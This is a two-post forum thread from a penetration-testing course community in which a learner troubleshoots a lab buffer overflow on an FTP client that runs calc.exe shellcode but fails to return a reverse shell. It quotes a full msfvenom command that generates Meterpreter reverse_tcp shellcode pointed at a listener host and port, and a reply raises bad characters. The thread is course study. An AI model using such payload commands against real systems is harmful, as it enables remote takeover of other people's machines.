# Buffer Overflow works but no reverse shell

**URL:** https://legacy-community.ine.com/t/buffer-overflow-works-but-no-reverse-shell/2397
**Category:** Penetration Testing Professional
**Tags:** lab, cybersec, red, security, ine
**Created:** [June 4, 2022, 7:06pm UTC](https://legacy-community.ine.com/t/buffer-overflow-works-but-no-reverse-shell/2397 "2022-06-04T19:06:11Z")
**Posts on this page:** 2
**Page:** 1

<div class="post-metadata">

### Author: ![felipe.scer-19966b95](https://avatars.discourse-cdn.com/v4/letter/f/3bc359/32.png) [@felipe.scer-19966b95](https://legacy-community.ine.com/u/felipe.scer-19966b95)
#### Post date: [June 4, 2022, 7:06pm UTC](https://legacy-community.ine.com/t/buffer-overflow-works-but-no-reverse-shell/2397/1 "2022-06-04T19:06:11Z")

</div>

Hi, im having issues with making the reverse shell with the ftp 32 bits client.  
The BoF works fine with the calc.exe shellcode as showing on the labs,but when i generate the reverse shell(meterpreter and generics too),it doesnt give me the shell:

FTP BoF exploited with calc.exe shellcode:

 ![poc1](https://us1.discourse-cdn.com/flex015/uploads/ine/original/1X/5b1a3401512a24a00049af0f576263b796a8eb85.jpeg)

FTP BoF with reverse shell:

 ![poc2](https://us1.discourse-cdn.com/flex015/uploads/ine/original/1X/5e1bbbe43e54e4702277179d2829ed49e4ed699c.png)

Meterpreter payload:

 ![poc3](https://us1.discourse-cdn.com/flex015/uploads/ine/original/1X/b15c206bdeb17f2fd023c24b74e81e5439c17e98.png)

I generated the reverse shell shellcode with the following command:  
msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.0.22 LPORT=4444 EXITFUNC=thread -b “\x00” -f c

And i get an error:

 ![poc4](https://us1.discourse-cdn.com/flex015/uploads/ine/original/1X/89ad3b13dc8a6a21773c80a0506654e66e05841a.png)

I used the debugshellcode.cpp to test my reverse shell shellcode and it works fine:

 ![poc5](https://us1.discourse-cdn.com/flex015/uploads/ine/original/1X/cdd055b4d1da1b3a2575a8e7c3dd4d5bbc9ba2b7.jpeg)

---

<div class="post-metadata">

### Author: ![s.einfeldt-757cb8536](https://avatars.discourse-cdn.com/v4/letter/s/ce7236/32.png) [@s.einfeldt-757cb8536](https://legacy-community.ine.com/u/s.einfeldt-757cb8536)
#### Post date: [July 15, 2022, 10:10am UTC](https://legacy-community.ine.com/t/buffer-overflow-works-but-no-reverse-shell/2397/2 "2022-07-15T10:10:48Z")

</div>

Did you check for bad chars in your shellcode?

I think the INE course does not even mention this topic if I remember right.
